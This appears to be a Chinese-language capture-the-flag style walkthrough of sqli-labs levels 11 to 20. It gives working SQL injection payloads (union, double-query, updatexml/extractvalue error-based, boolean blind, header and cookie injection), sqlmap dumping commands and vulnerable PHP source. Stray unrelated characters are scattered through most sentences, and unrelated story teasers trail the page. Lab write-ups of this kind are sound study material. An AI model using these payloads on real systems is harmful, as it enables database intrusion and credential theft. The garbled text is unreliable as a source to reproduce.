sqli-labs(11-20)

Less-11

手工注入

1.開(kāi)始為post類型的注入芭梯,先加個(gè)單引號(hào)捺典,報(bào)錯(cuò)如下。


構(gòu)造出SQL語(yǔ)句應(yīng)該為:select username,password from users where username=' ' ' and password=' 2' limit 0,1; 也即是password字段被單引號(hào)包含了' and password='跃须,導(dǎo)致 出現(xiàn)2' limit 0,1;引號(hào)不匹配的情況蚤吹。下圖看起來(lái)更直觀些千绪。

2.所以充易,可構(gòu)造如下語(yǔ)句:' ##把后面的都注釋掉荸型,然后在其前面加上自己構(gòu)造的語(yǔ)句盹靴。
3.先用group by 看看有多少列:' group by 1,經(jīng)過(guò)測(cè)試瑞妇,共2個(gè)字段稿静。

4.下面,開(kāi)始使用聯(lián)合查詢:-1' union select 1,2 #返回正常辕狰,開(kāi)始構(gòu)造語(yǔ)句自赔。

5.查數(shù)據(jù)庫(kù)名:' union select 1,database() #

6.接下來(lái)查表名,構(gòu)造和Less-1類似:' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

7.查列名' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

8.查內(nèi)容:' union select group_concat(username),group_concat(password) from security.users #

OK柳琢,已經(jīng)得到想要的。

用sqlmap注入

1.首先润脸,使用BurpSuite抓包柬脸,然后保存抓取到的內(nèi)容。例如:保存為use.txt毙驯,把它放至某個(gè)目錄下倒堕,這里為:F:/temp/use.txt

2.首先爆价,判斷是否存在SQL注入漏洞垦巴,python2 sqlmap.py -r F:/temp/use.txt - --batch 得到兩個(gè)注入點(diǎn),如圖:

3.查詢當(dāng)前數(shù)據(jù)庫(kù)python2 sqlmap.py -r F:/temp/use.txt - --batch --current-db

4.查詢表::python2 sqlmap.py -r F:/temp/use.txt - --batch -D security --tables

5.剩下的查詢和Less-1的用法一樣铭段,列-內(nèi)容骤宣,一個(gè)一個(gè)爆即可。


Less-12

1.加單引號(hào)序愚,正常憔披,加雙引號(hào),報(bào)錯(cuò):


由圖可知,為雙引號(hào)加括號(hào)閉合芬膝。
2.構(gòu)造:") #返回正常望门,所以用Less-11構(gòu)造的方法構(gòu)造語(yǔ)句即可。即") 構(gòu)造的語(yǔ)句 # 不在贅述锰霜。


Less-13

1.加單引號(hào)解幼,報(bào)錯(cuò),知道為單引號(hào)加括號(hào)閉合拂苹。


2.以為就這樣了岂傲,結(jié)果采用上面的構(gòu)造方法無(wú)用,看來(lái)沒(méi)那么簡(jiǎn)單所灸,應(yīng)該使用雙查詢注入了丽惶,和Less-5的構(gòu)造基本相同。
3.查數(shù)據(jù)庫(kù)爬立,構(gòu)造如下钾唬。') or (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)#

繼續(xù)爆其他數(shù)據(jù)庫(kù)名,改變limit n,1即可侠驯。
4.查表:') or (select 1 from (select count(*),concat((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)#

同樣抡秆,改變limit n,1即可。
5.查列名:') or (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) #

同樣吟策,改變limit n,1即可儒士。
6.查內(nèi)容:') or (select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)#

同樣,改變limit n,1即可檩坚。


Less-14

1.加單引號(hào)着撩,正常,加雙引號(hào)匾委,報(bào)錯(cuò)拖叙,可知為雙引號(hào)閉合。


2.應(yīng)該不會(huì)直接是聯(lián)合查詢了赂乐,一試薯鳍,果然還是雙查詢注入。
3.構(gòu)造:" 構(gòu)造語(yǔ)句 # 構(gòu)造語(yǔ)句和less-13一樣挨措。


Less-15

1.加單引號(hào)挖滤,只有“報(bào)錯(cuò)”,應(yīng)該是要盲注浅役,而且只能布爾型或時(shí)間型了(只知道錯(cuò)了沒(méi)壓根不知道錯(cuò)的信息)


2.不管斩松,先把注入句式試出來(lái),用萬(wàn)能句型' or 1=1 or '1'='2觉既,經(jīng)過(guò)嘗試砸民,為單引號(hào)閉合,此時(shí)登錄成功。

3.開(kāi)始布爾型盲注:構(gòu)造' or 1=(if(substr(version(),1,1)=5,1,0)) or '1'='2岭参,其實(shí)就是把上面的1=1改成我們想要的語(yǔ)句,即先看看數(shù)據(jù)庫(kù)版面是否為5反惕。因?yàn)轱@示登錄成功,所以說(shuō)明1=(if(substr(version(),1,1)=5,1,0))為true演侯。
4.繼續(xù)構(gòu)造:都是把構(gòu)造好的語(yǔ)句替換1=1姿染,從而查看結(jié)果。構(gòu)造和Less-6差不多秒际,不再贅述悬赏。


Less-16

1.還是用萬(wàn)能句型試,最終試出為雙引號(hào)加括號(hào)閉合娄徊,即使用") or 1=1 or "1"=("2登錄成功闽颇。
2.接下來(lái)的構(gòu)造和Less-15一樣,如") or 1=(if(substr(version(),1,1)=5,1,0)) or '1'=("2寄锐。


Less-17

1.進(jìn)入頁(yè)面提示為PASSWORD RESET兵多,即重置密碼界面,坑比較多橄仆。
2.首先剩膘,在user name中嘗試了多次,都是讓走開(kāi)盆顾,后來(lái)一想怠褐,確實(shí)該走,都提示為重置密碼了您宪,還傻傻地在user name試奈懒,應(yīng)該在new password中想辦法。后來(lái)看了其他大佬的博客后宪巨,查看源碼才知道原來(lái)對(duì)user name表單進(jìn)行了過(guò)濾:

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];
function check_input($value)
    {
    if(!empty($value))
        {
        // truncation (see comments)
        $value = substr($value,0,15);
        }
        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
            {
            $value = stripslashes($value);
            }
        // Quote if not a number
        if (!ctype_digit($value))
            {
            $value = "'" . mysql_real_escape_string($value) . "'";
            }
            else
        {
        $value = intval($value);
        }
    return $value;

函數(shù)check_input()的作用就是檢查用戶輸入筐赔,并將用戶輸入安全化,其中的mysql_real_escape_string()會(huì)在\x00, \n, \r, \, ', " and \x1a這些字符前加入反斜線進(jìn)行轉(zhuǎn)義揖铜,防止注入,而且這個(gè)函數(shù)也避免了寬字節(jié)注入的危險(xiǎn)达皿。

3.當(dāng)然天吓,還不止,new password也不是和之前一樣輕易試出注入類型峦椰,因?yàn)橛?code>user name的限制龄寞,如果new password不對(duì),那么怎么試都自然是錯(cuò)的汤功。因?yàn)榭戳舜罄械慕忸}思路物邑,知道了為單引號(hào)閉合,SQL語(yǔ)句為:@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";且知道有用戶名為admin(這個(gè)用戶名一般都有)。所以就直接考慮構(gòu)造了色解。

4.首先考慮到不能回顯有意義的信息茂嗓,所以首選前面一直用的雙注入查詢 構(gòu)造如下:user name:admin ,而new password:' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)#

剩下的構(gòu)造不多說(shuō),和Less-13一樣科阎,一個(gè)一個(gè)爆就好述吸。
5.在這里,嘗試使用一種新的注入方法锣笨,基于extractvalue()updatexml()的報(bào)錯(cuò)注入蝌矛,詳情請(qǐng)看: 學(xué)習(xí)基于extractvalue()和updatexml()的報(bào)錯(cuò)注入,同時(shí)错英,下面的注入丟默認(rèn)user name:admin
6.先使用updatexml()進(jìn)行注入入撒,構(gòu)造為' and updatexml(1,concat('~',(select version())),1)# 獲取相應(yīng)版本:

獲取數(shù)據(jù)庫(kù)名稱:' and updatexml(1,concat('~',(select database())),1)#

獲取表名:' and updatexml(1,concat('~',(select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),1)#

改變limit n,1即可獲取其他表名。

獲取列名:' and updatexml(1,concat('~',(select concat(column_name,';') from information_schema.columns where table_name='emails' limit 0,1)),1)#

同樣椭岩,改變limit n,1即可茅逮。

獲取內(nèi)容:這樣,不行' and updatexml(1,concat('~',(select concat(username,';',password) from information_schema.tables where table_name='security' limit 0,1)),1)# 報(bào)錯(cuò)如下:

這樣:也不行' and updatexml(1,concat('~',(select concat(username,';',password) from security.users limit 0,1)),1)# 報(bào)錯(cuò)如下:

這樣:發(fā)現(xiàn)可以了簿煌,但是password成了0氮唯,一下子把所有的用戶密碼都改成了0,后面的可能就有問(wèn)題了姨伟。' or (select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)#

7.使用extractvalue()惩琉,和updatexml()十分相似,用法也差不多夺荒,甚至看起來(lái)跟直觀些瞒渠。構(gòu)造:' and extractvalue(1,concat('~',(select version())))#

剩下的語(yǔ)句和updatexml()的類似。


Less-18

1.進(jìn)入后顯示Your IP ADDRESS is: ::1技扼,輸入常用的注入嘗試伍玖,都只顯示:

看來(lái)和上一題一樣,都進(jìn)行了相關(guān)的過(guò)濾剿吻。
2.實(shí)在不懂窍箍,先看一下源碼:

if(isset($_POST['uname']) && isset($_POST['passwd']))

    {
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

這次對(duì)兩個(gè)表單都進(jìn)行過(guò)濾了。

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
        if($row1)
            {
            echo '<font color= "#FFFF00" font size = 3 >';
            $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
            mysql_query($insert);
            //echo 'Your IP ADDRESS is: ' .$IP;
            echo "</font>";
            //echo "<br>";
            echo '<font color= "#0000ff" font size = 3 >';          
            echo 'Your User Agent is: ' .$uagent;
            echo "</font>";
            echo "<br>";
            print_r(mysql_error());         
            echo "<br><br>";
            echo '<img src="../images/flag.jpg"  />';
            echo "<br>";
            
            }
        else
            {
            echo '<font color= "#0000ff" font size="3">';
            //echo "Try again looser";
            print_r(mysql_error());
            echo "</br>";           
            echo "</br>";
            echo '<img src="../images/slap.jpg"   />';  
            echo "</font>";  
            }

看到只有用戶再登陸成功后才會(huì)顯示用戶的user agent丽旅,并且將uagent, ip_address, username插入到了uagents表中椰棘。查看一下:

注意到:

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
 

在插入過(guò)程中并沒(méi)有進(jìn)行過(guò)濾,由此可知榄笙,可以從uagent下手邪狞。本來(lái)ip_address也可以成功的,但是源碼中顯示被注釋掉了茅撞,回顯的只能是用戶的user agent
3.構(gòu)造uagent的內(nèi)容帆卓,使用BurpSuite對(duì)提交內(nèi)容進(jìn)行抓包巨朦,然后再修改相應(yīng)的User-Agent:


4.易知,只要保證User-Agent:字段內(nèi)容剑令,即uagent保持單引號(hào)閉合糊啡,且使用雙查詢注入或使用extractvalue()updatexml()構(gòu)造相應(yīng)語(yǔ)句即可(因?yàn)槭窃诓迦胝Z(yǔ)句中,只能通過(guò)報(bào)錯(cuò)獲取我們想要的信息)尚洽。
5.構(gòu)造語(yǔ)句查詢數(shù)據(jù)庫(kù)名:
構(gòu)造一:' and updatexml(1,concat('~',(select database())),1) and '1'='1

構(gòu)造二:' and extractvalue(1,concat('~',(select database()))) and '1'='1

構(gòu)造三:' and (select 1 from (select count(*),concat(database(),';',floor(rand()*2)) as x from information_schema.tables group by x)as a) and '1'='1

6.其他構(gòu)造和之前的相似悔橄,不再贅述。


Less-19

  1. 提示為Referer腺毫,直接用我們知道的用戶名密碼都為:admin的進(jìn)行嘗試癣疟,發(fā)現(xiàn):

2.也就是說(shuō)我們需要將構(gòu)造語(yǔ)句放入Referer: 嘗試:' and extractvalue(1,concat('~',(select database()))) and '1'='1

成功,知道方法就好了潮酒。


Less-20

1.提示為Cookie睛挚,直接用我們知道的用戶名密碼都為:admin的進(jìn)行嘗試,發(fā)現(xiàn):

2.Cookie為:uname = admin 所以構(gòu)造:uname=admin' and extractvalue(1,concat('~',(select database()))) #

3.構(gòu)造還是一樣的急黎。


目前就先到這吧扎狱,這部分的題目都是post類型的,后面好像還有勃教,但還是放下一篇吧淤击。當(dāng)然,文中如有錯(cuò)誤或其他更好的語(yǔ)句或解法故源,還希望諸位不吝賜教污抬,多謝。


參考:

  1. 學(xué)習(xí)基于extractvalue()和updatexml()的報(bào)錯(cuò)注入
  2. SQL注入新手教程(講的很好的內(nèi)容绳军,之前沒(méi)發(fā)現(xiàn)印机,現(xiàn)在才看到)
  3. It is not safe to rely on the the system's timezone settings解決方法

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市门驾,隨后出現(xiàn)的幾起案子射赛,更是在濱河造成了極大的恐慌,老刑警劉巖奶是,帶你破解...
    沈念sama閱讀 218,858評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件楣责,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡聂沙,警方通過(guò)查閱死者的電腦和手機(jī)秆麸,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,372評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)逐纬,“玉大人,你說(shuō)我怎么就攤上這事削樊』砩” “怎么了兔毒?”我有些...
    開(kāi)封第一講書(shū)人閱讀 165,282評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)甸箱。 經(jīng)常有香客問(wèn)我育叁,道長(zhǎng),這世上最難降的妖魔是什么芍殖? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,842評(píng)論 1 295
  • 正文 為了忘掉前任豪嗽,我火速辦了婚禮,結(jié)果婚禮上豌骏,老公的妹妹穿的比我還像新娘龟梦。我一直安慰自己,他們只是感情好窃躲,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,857評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布计贰。 她就那樣靜靜地躺著,像睡著了一般蒂窒。 火紅的嫁衣襯著肌膚如雪躁倒。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 51,679評(píng)論 1 305
  • 那天洒琢,我揣著相機(jī)與錄音秧秉,去河邊找鬼。 笑死衰抑,一個(gè)胖子當(dāng)著我的面吹牛象迎,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播停士,決...
    沈念sama閱讀 40,406評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼挖帘,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了恋技?” 一聲冷哼從身側(cè)響起拇舀,我...
    開(kāi)封第一講書(shū)人閱讀 39,311評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎蜻底,沒(méi)想到半個(gè)月后骄崩,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,767評(píng)論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡薄辅,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,945評(píng)論 3 336
  • 正文 我和宋清朗相戀三年要拂,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片站楚。...
    茶點(diǎn)故事閱讀 40,090評(píng)論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡脱惰,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出窿春,到底是詐尸還是另有隱情拉一,我是刑警寧澤采盒,帶...
    沈念sama閱讀 35,785評(píng)論 5 346
  • 正文 年R本政府宣布,位于F島的核電站蔚润,受9級(jí)特大地震影響磅氨,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜嫡纠,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,420評(píng)論 3 331
  • 文/蒙蒙 一烦租、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧除盏,春花似錦叉橱、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,988評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至蠢棱,卻和暖如春锌杀,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背泻仙。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,101評(píng)論 1 271
  • 我被黑心中介騙來(lái)泰國(guó)打工糕再, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人玉转。 一個(gè)月前我還...
    沈念sama閱讀 48,298評(píng)論 3 372
  • 正文 我出身青樓突想,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親究抓。 傳聞我的和親對(duì)象是個(gè)殘疾皇子猾担,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,033評(píng)論 2 355